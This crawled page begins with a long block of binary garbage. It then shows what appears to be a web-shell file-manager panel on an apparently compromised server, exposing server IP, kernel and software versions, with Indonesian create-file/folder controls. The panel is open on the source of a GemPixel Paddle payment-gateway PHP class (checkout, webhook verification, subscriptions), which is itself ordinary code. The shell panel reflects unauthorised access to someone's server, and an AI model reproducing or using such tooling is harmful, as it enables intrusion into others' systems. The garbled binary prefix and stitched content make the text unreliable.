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;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ Default page
  • Your IP: 216.73.216.142
  • Server IP: 1.201.172.194
  • Server: Linux hyjg 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  • Server Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.2.20
  • PHP Version: 8.2.20
  • Buat File | Buat Folder
Edit File: Paddle.php

'.e('Get your paddle public key from here once logged in click here').'

'.e('You can add your webhooks here. For more info, please check the docs.').'

'.e('You need to create a single monthly plan manually and insert the plan ID here. View documentation for more information.').'

'.e('You need to create a single yearly plan manually and insert the plan ID here. View documentation for more information.').'

'; View::push("", 'custom')->toFooter(); return $html; } /** * Checkout page * * @author GemPixel * @version 6.6 * @return void */ public static function checkout(){ if(!config('paddle') || !config('paddle')->enabled || !config('paddle')->public || !config('paddle')->secret) { return false; } echo "
"; View::push(" ", "custom")->toFooter(); } /** * Payment * * @author GemPixel * @version 6.6 * @param \Core\Request $request * @param integer $id * @param string $type * @return void */ public static function payment(Request $request, int $id, string $type){ if(!config('paddle') || !config('paddle')->enabled || !config('paddle')->vendor || !config('paddle')->secret) { \GemError::log('Payment system "Paddle" not enabled or configured.'); return Response::factory(['error' => true, 'message' => e('An error occurred, please try again. You have not been charged.'), 'token' => csrf_token()])->json(); } if(!$plan = DB::plans()->first($id)){ return Response::factory(['error' => true, 'message' => e('An error occurred, please try again. You have not been charged.'), 'token' => csrf_token()])->json(); } $user = Auth::user(); $term = e($plan->name); $text = e("Monthly"); $price = $plan->price_monthly; $planid = $plan->slug."monthly"; if($type == "yearly" && $plan->price_yearly){ $term = e($plan->name); $text = e("Yearly"); $price = $plan->price_yearly; } if($type == "lifetime" && $plan->price_lifetime){ $term = e($plan->name); $text = e("Lifetime"); $price = $plan->price_lifetime; } $uniqueid = Helper::rand(16, '', 'abcdef0123456789').$user->id; $sub = DB::subscription()->create(); $sub->tid = null; $sub->userid = $user->id; $sub->plan = $type; $sub->planid = $plan->id; $sub->status = "Pending"; $sub->amount = "0"; $sub->date = Helper::dtime(); $sub->expiry = Helper::dtime(); $sub->lastpayment = Helper::dtime(); $sub->data = NULL; $sub->uniqueid = $uniqueid; $sub->save(); if($request->coupon && $coupon = DB::coupons()->where('code', clean($request->coupon))->first()){ if(strtotime("now") < strtotime(date("Y-m-d 11:59:00", strtotime($coupon->validuntil)))) { $coupon->used++; $coupon->save(); $price = round((1 - ($coupon->discount / 100)) * $price, 2); $sub->coupon = $coupon->id; $sub->save(); $coupon->data = json_decode($coupon->data); } } if($tax = DB::taxrates()->whereRaw('countries LIKE ?', ["%".clean($request->country)."%"])->first()){ $price = round($price * (1+($tax->rate / 100)), 2); } if($type == 'lifetime'){ $data = [ 'vendor_id' => config('paddle')->vendor, 'vendor_auth_code' => config('paddle')->secret, 'title' => Helper::truncate($term.' - '.$text, 200), 'prices' => [ strtoupper(config('currency')).':'.$price ], 'custom_message' => Helper::truncate(empty($plan->description) ? $term : $plan->description, 175), 'discountable' => 0, 'webhook_url' => route('webhook', ['paddle']), 'return_url' => route('callback.paddle').'?paymentid={checkout_hash}', 'marketing_consent' => 1, 'quantity_variable'=> 0, 'customer_country' => Helper::Country($request->country, false, true), 'customer_email' => $user->email, 'customer_postcode' => $request->zip, 'passthrough' => "user_id={$user->id}&type={$type}&plan_id={$plan->id}" ]; } else { $data = [ 'vendor_id' => config('paddle')->vendor, 'vendor_auth_code' => config('paddle')->secret, 'title' => Helper::truncate($term.' - '.$text, 200), 'product_id' => $type == 'yearly' ? config('paddle')->yearly : config('paddle')->monthly, 'prices' => [ strtoupper(config('currency')).':'.$price ], 'recurring_prices' => [ strtoupper(config('currency')).':'.$price ], 'custom_message' => Helper::truncate($plan->description, 175), 'discountable' => 0, 'return_url' => route('callback.paddle').'?paymentid={checkout_hash}', 'marketing_consent' => 1, 'quantity_variable'=> 0, 'customer_country' => Helper::Country($request->country, false, true), 'customer_email' => $user->email, 'customer_postcode' => $request->zip, 'passthrough' => "user_id={$user->id}&type={$type}&plan_id={$plan->id}" ]; } $request = Http::url(self::VENDOR.'/product/generate_pay_link')->with('content-type', 'application/json')->body($data)->post(); if($response = $request->bodyObject()){ if(isset($response->response->url)){ return Response::factory(['error' => false, 'url' => $response->response->url, 'token' => csrf_token()])->json(); } } \GemError::log('Paddle Error', (array) $request->bodyObject()); return Response::factory(['error' => true, 'message' => e('An error occurred, please try again. You have not been charged.'), 'token' => csrf_token()])->json(); } /** * Paddle Webhook * * @author GemPixel * @version 6.5 * @param Request $request * @return void */ public static function webhook(Request $request){ if(!config('paddle') || !config('paddle')->enabled || !config('paddle')->vendor || !config('paddle')->secret) { \GemError::log('Payment system "Paddle" not enabled or configured.'); return null; } $public_key = openssl_get_publickey(config('paddle')->public); $signature = base64_decode($_POST['p_signature']); $fields = $_POST; unset($fields['p_signature']); ksort($fields); foreach($fields as $k => $v) { if(!in_array(gettype($v), array('object', 'array'))) { $fields[$k] = "$v"; } } $data = serialize($fields); if(openssl_verify($data, $signature, $public_key, OPENSSL_ALGO_SHA1) != 1){ \GemError::log('Paddle Webhook Error: Key does not match.'); http_response_code(400); exit(); } if(!$request->alert_name || !$request->passthrough) { \GemError::log('Paddle Webhook Error: Invalid webhook data.'); http_response_code(400); exit(); } parse_str($request->passthrough, $data); $array = $request->all(); $array->paymentmethod = "Paddle"; if($request->alert_name == 'subscription_created'){ if(!$user = DB::user()->where("id", $data['user_id'])->first()) return print("User does not exist"); $subscription = DB::subscription()->where('userid', $user->id)->orderByDesc('id')->first(); $subscription->tid = $request->subscription_id; $subscription->data = json_encode($array); $subscription->save(); if(config('smtp')->user){ $mailer = Email::factory('smtp', [ 'username' => config('smtp')->user, 'password' => config('smtp')->pass, 'host' => config('smtp')->host, 'port' => config('smtp')->port ]); } else { $mailer = Email::factory(); } $mailer->from([config('email'), config('title')]) ->template(View::$path.'/email.php'); $message = '

Congrats! You have a new subscription from '.$user->email.'.

'; $mailer->to(config('email')) ->send([ 'subject' => e('You have a new Subscriber'), 'message' => function($template, $data) use ($message) { if(config('logo')){ $title = 'Image'; } else { $title = '

'.config('title').'

'; } return Email::parse($template, ['content' => $message, 'brand' => $title]); } ]); } if($request->alert_name == 'subscription_payment_succeeded' || $request->alert_name == 'payment_succeeded'){ if(!$user = DB::user()->where("id", $data['user_id'])->first()) return print("User does not exist"); $subscription = DB::subscription()->where('userid', $user->id)->orderByDesc('id')->first(); if($subscription->plan == "yearly"){ $new_expiry = date("Y-m-d H:i:s", strtotime("+1 year", strtotime($request->event_time))); }elseif($subscription->plan == "lifetime"){ $new_expiry = date("Y-m-d H:i:s", strtotime("+10 year", strtotime($request->event_time))); }else{ $new_expiry = date("Y-m-d H:i:s", strtotime("+1 month", strtotime($request->event_time))); } $payment = DB::payment()->create(); $payment->date = Helper::dtime('now'); $payment->cid = $request->order_id; $payment->tid = Helper::rand(16, '', 'abcdef0123456789').$user->id; $payment->amount = $request->sale_gross; $payment->userid = $user->id; $payment->status = "Completed"; $payment->expiry = $new_expiry; $payment->data = json_encode($array); $payment->save(); $amount = $subscription->amount + ($request->sale_gross); $subscription->amount = $amount; $subscription->expiry = $new_expiry; $subscription->status = "Active"; $subscription->save(); $user->expiration = $new_expiry; $user->pro = 1; $user->planid = $subscription->planid; $user->save(); \Core\Plugin::dispatch('payment.success', [$user, $subscription->planid, $payment->id]); } http_response_code(200); } /** * Cancel * * @author GemPixel * @version 6.6 * @return void */ public static function cancel($user, $subscription){ if(!config('paddle') || !config('paddle')->enabled || !config('paddle')->vendor || !config('paddle')->secret) { return false; } $data = json_decode($subscription->data); if(!isset($data->paymentmethod) || $data->paymentmethod != 'Paddle') return null; if(!isset($data->cancel_url)) return Helper::redirect()->back()->with('danger', e('An unexpected error occurred. Please try again.')); $data = [ 'vendor_id' => config('paddle')->vendor, 'vendor_auth_code' => config('paddle')->secret, 'subscription_id' => $subscription->tid ]; $request = Http::url(self::VENDOR.'/subscription/users_cancel')->with('content-type', 'application/json')->body($data)->post(); return null; } /** * Create Plan * * @author GemPixel * @version 6.6 * @param [type] $plan * @return void */ public static function createplan($plan){ if(!config('paddle') || !config('paddle')->enabled || !config('paddle')->vendor || !config('paddle')->secret) { return false; } return false; $dataMonth = [ 'vendor_id' => config('paddle')->vendor, 'vendor_auth_code' => config('paddle')->secret, 'plan_name' => $plan->name.' Monthly', 'plan_length' => 1, 'plan_type' => 'month', 'main_currency_code' => ucfirst(config('currency')), 'recurring_price_'.strtolower(config('currency')) => $plan->price_monthly ]; $dataYear = [ 'vendor_id' => config('paddle')->vendor, 'vendor_auth_code' => config('paddle')->secret, 'plan_name' => $plan->name.' Yearly', 'plan_length' => 1, 'plan_type' => 'year', 'main_currency_code' => ucfirst(config('currency')), 'recurring_price_'.strtolower(config('currency')) => $plan->price_yearly ]; $request = Http::url(self::VENDOR.'/subscription/plans_create')->body($dataMonth)->post(); if($response = $request->bodyObject()){ $data['month'] = $response->response->product_id; } $request = Http::url(self::VENDOR.'/subscription/plans_create')->body($dataYear)->post(); if($response = $request->bodyObject()){ $data['year'] = $response->response->product_id; } return $data; } /** * Sync Plans * * @author GemPixel * @version 6.6 * @param [type] $plan * @return void */ public static function syncplan($plan){ return self::createplan($plan); } /** * Callback * * @author GemPixel * @version 6.5 * @param \Core\Request $request * @return void */ public static function callback(Request $request){ if($request->paymentid) { \Core\Auth::check(); $user = user(); $subscription = \Core\DB::subscription()->where('userid', $user->id)->orderByDesc('id')->first(); return Helper::redirect()->to(route('confirmation', ['id' => $subscription->id]))->with('success', e('Your payment was successfully made. Thank you.')); } return Helper::redirect()->to(route('dashboard'))->with('danger', e('Your payment has been canceled.')); } /** * Redirect to Portal * * @author GemPixel * @version 6.6 * @param [type] $user * @return void */ public static function manage($user, $subscription = null){ $data = json_decode($subscription->data); if(!isset($data->paymentmethod) || $data->paymentmethod != 'Paddle') return Helper::redirect()->back()->with('danger', e('An unexpected error occurred. Please try again.')); if(!isset($data->update_url)) return Helper::redirect()->back()->with('danger', e('An unexpected error occurred. Please try again.')); header("Location: ".$data->update_url); exit(); } }